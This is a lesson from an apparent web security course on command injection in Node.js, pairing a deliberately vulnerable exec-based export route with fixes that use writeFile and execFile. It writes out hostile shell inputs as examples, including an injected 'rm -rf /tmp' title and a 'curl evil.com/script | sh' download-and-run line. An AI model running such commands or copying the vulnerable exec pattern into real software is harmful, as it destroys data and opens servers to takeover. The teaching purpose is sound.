hectoday
DocsCoursesChangelog GitHub
DocsCoursesChangelog GitHub

Access Required

Enter your access code to view courses.

Invalid code

← All courses Web Security Fundamentals with @hectoday/http

The Attacker's Mindset

  • Thinking Like an Attacker
  • Project Setup

Injection Attacks

  • SQL Injection
  • SQL Injection: Beyond the Basics
  • Command Injection
  • Header Injection

Cross-Site Scripting (XSS)

  • What Is XSS?
  • Output Encoding
  • Content Security Policy in Practice

Broken Access and Redirects

  • Insecure Direct Object References (IDOR)
  • Open Redirects
  • Server-Side Request Forgery (SSRF)

File and Data Handling

  • Path Traversal
  • Mass Assignment
  • Denial of Service via Input

Putting It All Together

  • Security Testing
  • The OWASP Top 10
  • Capstone: Hardened Notes API

Command Injection

From SQL to the shell

In the SQL injection lessons, the attacker injected code into a SQL interpreter. Command injection is the same idea, but the interpreter is the operating system’s shell.

This happens when your server runs a shell command that includes user input. The most common case: processing uploaded files with command-line tools (ImageMagick, ffmpeg, pandoc).

The vulnerable code

Imagine we add a feature to our notes app: exporting a note as a text file. We use a shell command to create the file:

import { exec } from "child_process";
import { promisify } from "util";

const execAsync = promisify(exec);

route.get("/notes/:id/export", {
  resolve: async (c) => {
    const user = authenticate(c.request);
    if (user instanceof Response) return user;

    const note = db
      .prepare("SELECT * FROM notes WHERE id = ? AND user_id = ?")
      .get(c.params.id, user.id) as any;
    if (!note) return Response.json({ error: "Not found" }, { status: 404 });

    const filename = `${note.title}.txt`;

    // DELIBERATELY VULNERABLE
    await execAsync(`echo "${note.body}" > /tmp/${filename}`);

    return Response.json({ message: `Exported to ${filename}` });
  },
});

The note’s title and body come from the database, which came from user input. The shell command includes both.

The attack

A user creates a note with the title: test"; rm -rf /tmp; echo "done

The shell command becomes:

echo "note body" > /tmp/test"; rm -rf /tmp; echo "done.txt

The shell parses this as three commands:

  1. echo "note body" > /tmp/test" — write to a file
  2. rm -rf /tmp — delete everything in /tmp
  3. echo "done.txt — print text

The attacker just ran rm -rf /tmp on your server. They could run anything: read environment variables (env), download malware (curl evil.com/script | sh), or open a reverse shell.

Why it works

exec runs a string through the shell. The shell interprets special characters: " ends strings, ; separates commands, $() runs subcommands, ` runs subcommands, | pipes output. When user input is in the string, the attacker controls the shell.

This is the same fundamental problem as SQL injection: code and data mixed in one string.

The fix: avoid exec

The best fix is to not use the shell at all. Node.js has child_process.execFile and child_process.spawn, which run a program directly without a shell:

import { execFile } from "child_process";
import { promisify } from "util";
import path from "path";
import { writeFile } from "fs/promises";

const execFileAsync = promisify(execFile);

// Better approach: use Node.js APIs directly
route.get("/notes/:id/export", {
  resolve: async (c) => {
    const user = authenticate(c.request);
    if (user instanceof Response) return user;

    const note = db
      .prepare("SELECT * FROM notes WHERE id = ? AND user_id = ?")
      .get(c.params.id, user.id) as any;
    if (!note) return Response.json({ error: "Not found" }, { status: 404 });

    // Sanitize filename: remove anything that is not alphanumeric, dash, or underscore
    const safeName = note.title.replace(/[^a-zA-Z0-9_-]/g, "_");
    const filePath = path.join("/tmp/exports", `${safeName}.txt`);

    // Use Node.js APIs, not shell commands
    await writeFile(filePath, note.body, "utf-8");

    return Response.json({ message: `Exported to ${safeName}.txt` });
  },
});

No shell involved. writeFile writes directly to the file system. The filename is sanitized to remove special characters.

If you must run an external program (like ImageMagick), use execFile or spawn with an argument array:

// WRONG — shell interprets everything
exec(`convert "${inputPath}" -resize 200x200 "${outputPath}"`);

// CORRECT — no shell, arguments are separate strings
execFile("convert", [inputPath, "-resize", "200x200", outputPath]);

With execFile, each argument is passed directly to the program. The shell never sees them. Special characters like ;, |, and $() are treated as literal characters in the argument, not as shell operators.

The rule

Never use exec with user input. Use execFile or spawn with argument arrays, or use Node.js APIs directly. If you cannot avoid exec, escape the input with a shell escaping library — but avoiding exec entirely is safer and simpler.

Exercises

Exercise 1: Create a note with the title test; echo INJECTED and try the vulnerable export endpoint. Do you see “INJECTED” in the server output?

Exercise 2: Replace the exec call with writeFile. Try the same attack. The filename becomes test__echo_INJECTED.txt (sanitized), and no command runs.

Exercise 3: If you needed to run ImageMagick’s convert, write the call using execFile with an argument array. What happens if the filename contains spaces? (Answer: it works fine because each argument is separate.)

Why is exec dangerous with user input?

← SQL Injection: Beyond the Basics Header Injection →

© 2026 hectoday. All rights reserved.